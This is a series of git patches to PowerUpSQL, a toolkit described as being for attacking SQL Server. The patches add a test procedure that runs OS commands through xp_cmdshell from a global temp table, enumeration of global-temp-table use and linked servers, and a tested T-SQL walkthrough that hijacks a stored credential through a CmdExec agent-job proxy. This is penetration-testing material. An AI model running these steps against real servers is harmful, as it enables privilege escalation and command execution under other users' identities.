Scott Sutherland Date: Tue, 21 May 2024 08:43:17 -0500 Subject: [PATCH 43/60] Update pesterdb.sql Added stored procedure sp_WhoamiGtt that uses global temp tables. --- tests/pesterdb.sql | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 9ebf28a..ccedab3 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -620,6 +620,36 @@ if exists (select name from sys.procedures where name = 'sp_findspy2') GRANT EXECUTE ON sp_findspy2 to test_login_ownerchain GO +-- Create stored procedures that executes OS commands using data from a global temp table + +USE tempdb3; +GO + +CREATE PROCEDURE sp_WhoamiGtt +AS +BEGIN + -- Create a global temporary table to store the command + IF OBJECT_ID('tempdb..##GlobalTempTableCommands') IS NULL + BEGIN + CREATE TABLE ##GlobalTempTableCommands ( + Command NVARCHAR(4000) + ); + END; + + -- Insert the command "whoami" into the global temporary table + INSERT INTO ##GlobalTempTableCommands (Command) + VALUES ('whoami'); + + -- Declare a variable to hold the command + DECLARE @Command NVARCHAR(4000); + + -- Select the command from the global temporary table + SELECT TOP 1 @Command = Command FROM ##GlobalTempTableCommands; + + -- Execute the command using xp_cmdshell + EXEC xp_cmdshell @Command; +END; +GO ------------------------------------------------------------ -- Create Test Triggers From 3179bd7d6970fbffde712ca7afcc9fd17711590b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 21 May 2024 08:47:13 -0500 Subject: [PATCH 44/60] Update PowerUpSQL.ps1 Updated Invoked-SqlDumpInfo to include gtt searches. --- PowerUpSQL.ps1 | 95 +++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 78 insertions(+), 17 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 7102083..7423f2f 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.126 + Version: 1.128 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -12260,21 +12260,25 @@ Function Get-SQLTriggerDml $Query = " use [$DbName]; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - '$DbName' as [DatabaseName], - name as [TriggerName], - object_id as [TriggerId], + '$DbName' AS [DatabaseName], + SCHEMA_NAME(o.schema_id) AS [SchemaName], + t.name AS [TriggerName], + t.object_id AS [TriggerId], [TriggerType] = 'DATABASE', - type_desc as [ObjectType], - parent_class_desc as [ObjectClass], - OBJECT_DEFINITION(OBJECT_ID) as [TriggerDefinition], - create_date, - modify_date, - is_ms_shipped, - is_disabled, - is_not_for_replication, - is_instead_of_trigger - FROM [$DbName].[sys].[triggers] WHERE 1=1 - $TriggerNameFilter" + t.type_desc AS [ObjectType], + t.parent_class_desc AS [ObjectClass], + OBJECT_DEFINITION(t.object_id) AS [TriggerDefinition], + t.create_date, + t.modify_date, + t.is_ms_shipped, + t.is_disabled, + t.is_not_for_replication, + t.is_instead_of_trigger + FROM + [sys].[triggers] t + INNER JOIN + [sys].[objects] o ON t.parent_id = o.object_id + WHERE 1=1 $TriggerNameFilter" # Execute Query $TblDmlTriggersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -27123,6 +27127,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + + # Getting Stored Procedures that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting stored procedures that use global temp tables..." + $Results = Get-SQLStoredProcedure -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where ProcedureDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Custom XP Stored Procedures Write-Verbose -Message "$Instance - Getting custom extended stored procedures..." $Results = Get-SQLStoredProcedureXP -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -27207,6 +27226,20 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Triggers DML that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting DML triggers that use global temp tables..." + $Results = Get-SQLTriggerDml -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where TriggerDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Triggers DDL Write-Verbose -Message "$Instance - Getting DDL triggers..." $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -27221,6 +27254,20 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Triggers DDL that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting DDL triggers that use global temp tables..." + $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where TriggerDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Version Information Write-Verbose -Message "$Instance - Getting server version information..." $Results = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -27263,8 +27310,8 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting Agent Jobs Information - Write-Verbose -Message "$Instance - Getting Agent Jobs information..." + # Getting Agent Jobs + Write-Verbose -Message "$Instance - Getting Agent Jobs..." $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { @@ -27277,6 +27324,20 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Agent Jobs that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting Agent Jobs that use global temp tables..." + $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Keyword "##" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_job_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_jobs_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting OLE DB provder information Write-Verbose -Message "$Instance - Getting OLE DB provder information..." $Results = Get-SQLOleDbProvder -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose From a83cad211983290bf38708e6e237cacbfe023e32 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 21 May 2024 12:04:32 -0500 Subject: [PATCH 45/60] Update PowerUpSQL.ps1 Add optional sql link crawl to invoke-sqldumpinfo. --- PowerUpSQL.ps1 | 59 ++++++++++++++++++++++++++++++++++---------------- 1 file changed, 40 insertions(+), 19 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 7423f2f..c4f4acd 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.128 + Version: 1.129 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -12625,9 +12625,9 @@ Function Get-SQLStoredProcedureCLR # Check count $CLRCount = $TblAssemblyFiles.Rows.Count if ($CLRCount -gt 0){ - Write-Verbose "$Instance : Found $CLRCount CLR stored procedures" + Write-Verbose "$Instance : - Found $CLRCount CLR stored procedures" }else{ - Write-Verbose "$Instance : No CLR stored procedures found." + Write-Verbose "$Instance : - No CLR stored procedures found." } # Return data @@ -26810,7 +26810,12 @@ Function Invoke-SQLDumpInfo [Parameter(Mandatory = $false, HelpMessage = 'Write output to csv files.')] - [switch]$csv + [switch]$csv, + + [Parameter(Mandatory = $false, + HelpMessage = 'Crawl available SQL Server links.')] + [switch]$CrawlLinks + ) Begin @@ -27071,20 +27076,6 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting Server Links - Write-Verbose -Message "$Instance - Getting server links..." - $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - if($xml) - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' - $Results | Export-Clixml $OutPutPath - } - else - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' - $Results | Export-Csv -NoTypeInformation $OutPutPath - } - # Getting Server Credentials Write-Verbose -Message "$Instance - Getting server credentials..." $Results = Get-SQLServerCredential -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -27350,7 +27341,37 @@ Function Invoke-SQLDumpInfo { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath - } + } + + # Getting Server Links + Write-Verbose -Message "$Instance - Getting server links..." + $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Server Links via Crawl + if($CrawlLinks){ + Write-Verbose -Message "$Instance - Crawling linked servers..." + $Results = Get-SQLServerLinkCrawl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Export2 + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links_crawl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links_crawl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + } Write-Verbose -Message "$Instance - END" } From 99bace0f3d397bb5b1d1ff35250d186d002114ca Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 09:57:36 -0500 Subject: [PATCH 46/60] Create Get-AgentCredentialList.tsql --- templates/tsql/Get-AgentCredentialList.tsql | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 templates/tsql/Get-AgentCredentialList.tsql diff --git a/templates/tsql/Get-AgentCredentialList.tsql b/templates/tsql/Get-AgentCredentialList.tsql new file mode 100644 index 0000000..fd07fcf --- /dev/null +++ b/templates/tsql/Get-AgentCredentialList.tsql @@ -0,0 +1,14 @@ +// Get list of credentials used by agent jobs. + +USE msdb; +GO + +SELECT +j.name AS JobName, +s.step_id AS StepID, +s.step_name AS StepName, +c.name AS CredentialName +FROM sysjobs j +JOIN sysjobsteps s ON j.job_id = s.job_id +LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id +WHERE c.name IS NOT NULLORDER BY j.name, s.step_id; From df85ef80a0ec9f97c498444470363adb71eafb61 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 09:58:19 -0500 Subject: [PATCH 47/60] Update Get-AgentCredentialList.tsql --- templates/tsql/Get-AgentCredentialList.tsql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/templates/tsql/Get-AgentCredentialList.tsql b/templates/tsql/Get-AgentCredentialList.tsql index fd07fcf..9507d1a 100644 --- a/templates/tsql/Get-AgentCredentialList.tsql +++ b/templates/tsql/Get-AgentCredentialList.tsql @@ -11,4 +11,5 @@ c.name AS CredentialName FROM sysjobs j JOIN sysjobsteps s ON j.job_id = s.job_id LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id -WHERE c.name IS NOT NULLORDER BY j.name, s.step_id; +WHERE c.name IS NOT NULL +ORDER BY j.name, s.step_id; From 7f0a9734098508361f18486a9b09512aed72636f Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 10:03:19 -0500 Subject: [PATCH 48/60] Rename New-TempTableSample.sqk to New-TempTableSample.sql --- .../tsql/{New-TempTableSample.sqk => New-TempTableSample.sql} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/tsql/{New-TempTableSample.sqk => New-TempTableSample.sql} (100%) diff --git a/templates/tsql/New-TempTableSample.sqk b/templates/tsql/New-TempTableSample.sql similarity index 100% rename from templates/tsql/New-TempTableSample.sqk rename to templates/tsql/New-TempTableSample.sql From 40b1f88828957a5b5d05150d07c0d27949a79a2a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 10:03:48 -0500 Subject: [PATCH 49/60] Rename Get-10MostExpressiveQueries.tsql to Get-10MostExpensiveQueries.tsql --- ...MostExpressiveQueries.tsql => Get-10MostExpensiveQueries.tsql} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/tsql/{Get-10MostExpressiveQueries.tsql => Get-10MostExpensiveQueries.tsql} (100%) diff --git a/templates/tsql/Get-10MostExpressiveQueries.tsql b/templates/tsql/Get-10MostExpensiveQueries.tsql similarity index 100% rename from templates/tsql/Get-10MostExpressiveQueries.tsql rename to templates/tsql/Get-10MostExpensiveQueries.tsql From 89e9c1dcf206f65628b6da2a64e277e5c63e02d4 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 10:29:47 -0500 Subject: [PATCH 50/60] Create Get-Credentials-HiJack-Process.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 74 ++++++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 templates/tsql/Get-Credentials-Hijack.tsql diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql new file mode 100644 index 0000000..dd1cfb8 --- /dev/null +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -0,0 +1,74 @@ +-------------------------- +-- Get List of Credentials +-------------------------- +USE msdb; +GO + +SELECT +j.name AS JobName, +s.step_id AS StepID, +s.step_name AS StepName, +c.name AS CredentialName +FROM sysjobs j +JOIN sysjobsteps s ON j.job_id = s.job_id +LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id +WHERE c.name IS NOT NULL +ORDER BY j.name, s.step_id; + +-------------------------- +-- Create a Proxy Using the Target Credential +-------------------------- +USE msdb; +GO + +EXEC sp_add_proxy + @proxy_name = N'OSCommandProxy', -- Name of the proxy + @credential_name = N'MyCredential'; -- Name of the existing credential + +EXEC sp_grant_proxy_to_subsystem + @proxy_name = N'OSCommandProxy', + @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem + +-------------------------- +-- Create the SQL Server Agent Job Configured to use the Proxy Account +-------------------------- + +USE msdb; +GO + +-- Create the job +EXEC sp_add_job + @job_name = N'WhoAmIJob'; -- Name of the job + +-- Add a job step that uses the proxy to execute the whoami command +EXEC sp_add_jobstep + @job_name = N'WhoAmIJob', + @step_name = N'ExecuteWhoAmI', + @subsystem = N'CmdExec', -- Specifies an Operating System command + @command = N'whoami', -- The OS command to execute + @on_success_action = 1, -- 1 = Quit with success + @on_fail_action = 2, -- 2 = Quit with failure + @proxy_name = N'OSCommandProxy'; -- The proxy created earlier + +-- Add a schedule to the job (optional, can be manual or scheduled) +EXEC sp_add_jobschedule + @job_name = N'WhoAmIJob', + @name = N'RunOnce', + @freq_type = 1, -- 1 = Once + @active_start_date = 20240820, -- Start date (YYYYMMDD) + @active_start_time = 120000; -- Start time (HHMMSS) + +-- Add the job to the SQL Server Agent +EXEC sp_add_jobserver + @job_name = N'WhoAmIJob', + @server_name = N'(LOCAL)'; -- The server where the job will run + +-------------------------- +-- Execute the Job +-------------------------- +EXEC sp_start_job @job_name = N'WhoAmIJob'; + +-------------------------- +-- Check the Output/Error +-------------------------- +EXEC sp_help_jobhistory @job_name= N'WhoAmIJob'; From f5c58ce545722f241c99965bfb826cf8bc2c3179 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 11:28:12 -0500 Subject: [PATCH 51/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index dd1cfb8..8ee5086 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -1,3 +1,5 @@ +-- Pending testing + -------------------------- -- Get List of Credentials -------------------------- From e58084d55c94dfc6a52c62eeb09890870d8e1e2a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 11:53:14 -0500 Subject: [PATCH 52/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index 8ee5086..623f820 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -1,7 +1,12 @@ -- Pending testing -------------------------- --- Get List of Credentials +-- Get list of all credentials +-------------------------- +select * from sys.credentials + +-------------------------- +-- Get List of Credentials - By Agent Jobs -------------------------- USE msdb; GO From 5081d438960a72c3672a10e4e636766376ecdf23 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 12:02:06 -0500 Subject: [PATCH 53/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index 623f820..88c0f5a 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -1,5 +1,13 @@ -- Pending testing + +-------------------------- +-- Create a new credential named 'MyCredential' +-------------------------- +CREATE CREDENTIAL [MyCredential] +WITH IDENTITY = 'machinename\owusername', +SECRET = 'P@ssw0rd!'; + -------------------------- -- Get list of all credentials -------------------------- From f813c065cae41950a5eef93e0d72d9421464d0a9 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 12:05:22 -0500 Subject: [PATCH 54/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index 88c0f5a..5505842 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -2,12 +2,20 @@ -------------------------- --- Create a new credential named 'MyCredential' +-- Create a new credential named 'MyCredential' - for testing -------------------------- CREATE CREDENTIAL [MyCredential] -WITH IDENTITY = 'machinename\owusername', +WITH IDENTITY = 'machinename\osusername', SECRET = 'P@ssw0rd!'; +EXEC sp_add_proxy + @proxy_name = N'MyCredentialProxy', -- Name of the proxy + @credential_name = N'MyCredential'; -- Name of the existing credential + +EXEC sp_grant_proxy_to_subsystem + @proxy_name = N'MyCredentialProxy', + @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem + -------------------------- -- Get list of all credentials -------------------------- From df25b1dae7ad5e3cbf0761b701a494319649d14b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 12:06:45 -0500 Subject: [PATCH 55/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index 5505842..f4a7bab 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -8,14 +8,6 @@ CREATE CREDENTIAL [MyCredential] WITH IDENTITY = 'machinename\osusername', SECRET = 'P@ssw0rd!'; -EXEC sp_add_proxy - @proxy_name = N'MyCredentialProxy', -- Name of the proxy - @credential_name = N'MyCredential'; -- Name of the existing credential - -EXEC sp_grant_proxy_to_subsystem - @proxy_name = N'MyCredentialProxy', - @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem - -------------------------- -- Get list of all credentials -------------------------- @@ -45,11 +37,11 @@ USE msdb; GO EXEC sp_add_proxy - @proxy_name = N'OSCommandProxy', -- Name of the proxy + @proxy_name = N'MyCredentialProxy', -- Name of the proxy @credential_name = N'MyCredential'; -- Name of the existing credential EXEC sp_grant_proxy_to_subsystem - @proxy_name = N'OSCommandProxy', + @proxy_name = N'MyCredentialProxy', @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem -------------------------- From a995179a3f976bb1db23a374817193e469b11ea0 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 12:08:30 -0500 Subject: [PATCH 56/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index f4a7bab..edfe981 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -44,6 +44,22 @@ EXEC sp_grant_proxy_to_subsystem @proxy_name = N'MyCredentialProxy', @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem +-------------------------- +-- List Proxies +-------------------------- + +USE msdb; +GO + +SELECT + proxy_id, + name AS proxy_name, + credential_id, + enabled +FROM + dbo.sysproxies; +GO + -------------------------- -- Create the SQL Server Agent Job Configured to use the Proxy Account -------------------------- @@ -63,7 +79,7 @@ EXEC sp_add_jobstep @command = N'whoami', -- The OS command to execute @on_success_action = 1, -- 1 = Quit with success @on_fail_action = 2, -- 2 = Quit with failure - @proxy_name = N'OSCommandProxy'; -- The proxy created earlier + @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier -- Add a schedule to the job (optional, can be manual or scheduled) EXEC sp_add_jobschedule From 43cddf4d08a17c789f2f5ba7c29527e6491742e9 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 12:20:19 -0500 Subject: [PATCH 57/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 45 ++++++++++++++-------- 1 file changed, 28 insertions(+), 17 deletions(-) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index edfe981..13e0733 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -13,23 +13,6 @@ SECRET = 'P@ssw0rd!'; -------------------------- select * from sys.credentials --------------------------- --- Get List of Credentials - By Agent Jobs --------------------------- -USE msdb; -GO - -SELECT -j.name AS JobName, -s.step_id AS StepID, -s.step_name AS StepName, -c.name AS CredentialName -FROM sysjobs j -JOIN sysjobsteps s ON j.job_id = s.job_id -LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id -WHERE c.name IS NOT NULL -ORDER BY j.name, s.step_id; - -------------------------- -- Create a Proxy Using the Target Credential -------------------------- @@ -94,6 +77,34 @@ EXEC sp_add_jobserver @job_name = N'WhoAmIJob', @server_name = N'(LOCAL)'; -- The server where the job will run +-------------------------- +-- Get List of Proxy Account used by Agent Jobs +-- Show job, step, proxy, cred, and identity +-------------------------- +USE msdb; +GO + +SELECT + jobs.name AS JobName, + steps.step_id AS StepID, + steps.step_name AS StepName, + proxies.name AS ProxyName, + ISNULL(credentials.name, 'No Credential') AS CredentialName, + ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName +FROM + msdb.dbo.sysjobs AS jobs +JOIN + msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id +JOIN + msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id +LEFT JOIN + sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id +WHERE + steps.proxy_id IS NOT NULL +ORDER BY + jobs.name, steps.step_id; + + -------------------------- -- Execute the Job -------------------------- From eec48d6a67fb93eb04a3297b8f8eabbe52b56522 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 12:29:45 -0500 Subject: [PATCH 58/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index 13e0733..d68cbea 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -1,5 +1,4 @@ --- Pending testing - +-- Tested and worked - SQL Server v2014 instance -------------------------- -- Create a new credential named 'MyCredential' - for testing @@ -59,7 +58,7 @@ EXEC sp_add_jobstep @job_name = N'WhoAmIJob', @step_name = N'ExecuteWhoAmI', @subsystem = N'CmdExec', -- Specifies an Operating System command - @command = N'whoami', -- The OS command to execute + @command = N'c:\windows\system32\cmd.exe /c whoami > c:\temp\whoami.txt', -- The OS command to execute @on_success_action = 1, -- 1 = Quit with success @on_fail_action = 2, -- 2 = Quit with failure @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier From d5250ebd5e5f8361692be97795866b5e851af061 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Aug 2024 12:39:55 -0500 Subject: [PATCH 59/60] Update Get-Credentials-Hijack.tsql --- templates/tsql/Get-Credentials-Hijack.tsql | 78 ++++++++++++++++------ 1 file changed, 58 insertions(+), 20 deletions(-) diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql index d68cbea..2b1bb9d 100644 --- a/templates/tsql/Get-Credentials-Hijack.tsql +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -1,20 +1,59 @@ -- Tested and worked - SQL Server v2014 instance - --------------------------- --- Create a new credential named 'MyCredential' - for testing --------------------------- +-- Author: Scott Sutherland @_nullbind (Twitter) + +-- ################################# +-- LAB SETUP SUMMARY +--- ################################# +-- 1. Install local instance +-- 2. Create local OS user named 'testuser'. +-- 3. Log into SQL Server instance as a sysadmin and create credential. + +-- ################################# +-- LAB SETUP SUMMARY +-- ################################# +-- 1. Log into the SQL Server instance as a sysadmin. +-- 2. List credentials. +-- 3. List proxy accounts. +-- 3. Create proxy account and assign privileges to it (if proxy account doesnt exist for credential already). List proxy accounts to confirm addition. +-- 4. Create Agent job that uses the proxy account. +-- 5. Execute a PowerShell, VBscript, JScript, or CMDEXEC Agent Job. These will create processes on the system in that user context. +-- 6. Confirm execution by reviewing history. + +--- ################################# +-- Walk Through Below +--- ################################# + +---------------------------------------------------- +-- Create a new credential named 'MyCredential' for testing (for lab only) +---------------------------------------------------- CREATE CREDENTIAL [MyCredential] -WITH IDENTITY = 'machinename\osusername', +WITH IDENTITY = 'yourcomputernamehere\testuser', SECRET = 'P@ssw0rd!'; --------------------------- --- Get list of all credentials --------------------------- +---------------------------------------------------- +-- Get a list of all credentials +---------------------------------------------------- select * from sys.credentials --------------------------- --- Create a Proxy Using the Target Credential --------------------------- +---------------------------------------------------- +-- Get a list proxies +---------------------------------------------------- +USE msdb; +GO + +SELECT + proxy_id, + name AS proxy_name, + credential_id, + enabled +FROM + dbo.sysproxies; +GO + +---------------------------------------------------- +-- Create a Proxy Using the Target Credential (if needed) +---------------------------------------------------- + USE msdb; GO @@ -26,10 +65,9 @@ EXEC sp_grant_proxy_to_subsystem @proxy_name = N'MyCredentialProxy', @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem --------------------------- --- List Proxies --------------------------- - +---------------------------------------------------- +-- Get a list proxies - again +---------------------------------------------------- USE msdb; GO @@ -42,9 +80,9 @@ FROM dbo.sysproxies; GO --------------------------- +---------------------------------------------------- -- Create the SQL Server Agent Job Configured to use the Proxy Account --------------------------- +---------------------------------------------------- USE msdb; GO @@ -76,10 +114,11 @@ EXEC sp_add_jobserver @job_name = N'WhoAmIJob', @server_name = N'(LOCAL)'; -- The server where the job will run --------------------------- +---------------------------------------------------- -- Get List of Proxy Account used by Agent Jobs -- Show job, step, proxy, cred, and identity --------------------------- +---------------------------------------------------- + USE msdb; GO @@ -103,7 +142,6 @@ WHERE ORDER BY jobs.name, steps.step_id; - -------------------------- -- Execute the Job -------------------------- From 7d73373b0751b8648a800fbeef4c00ced66eba58 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 12 Dec 2024 12:09:39 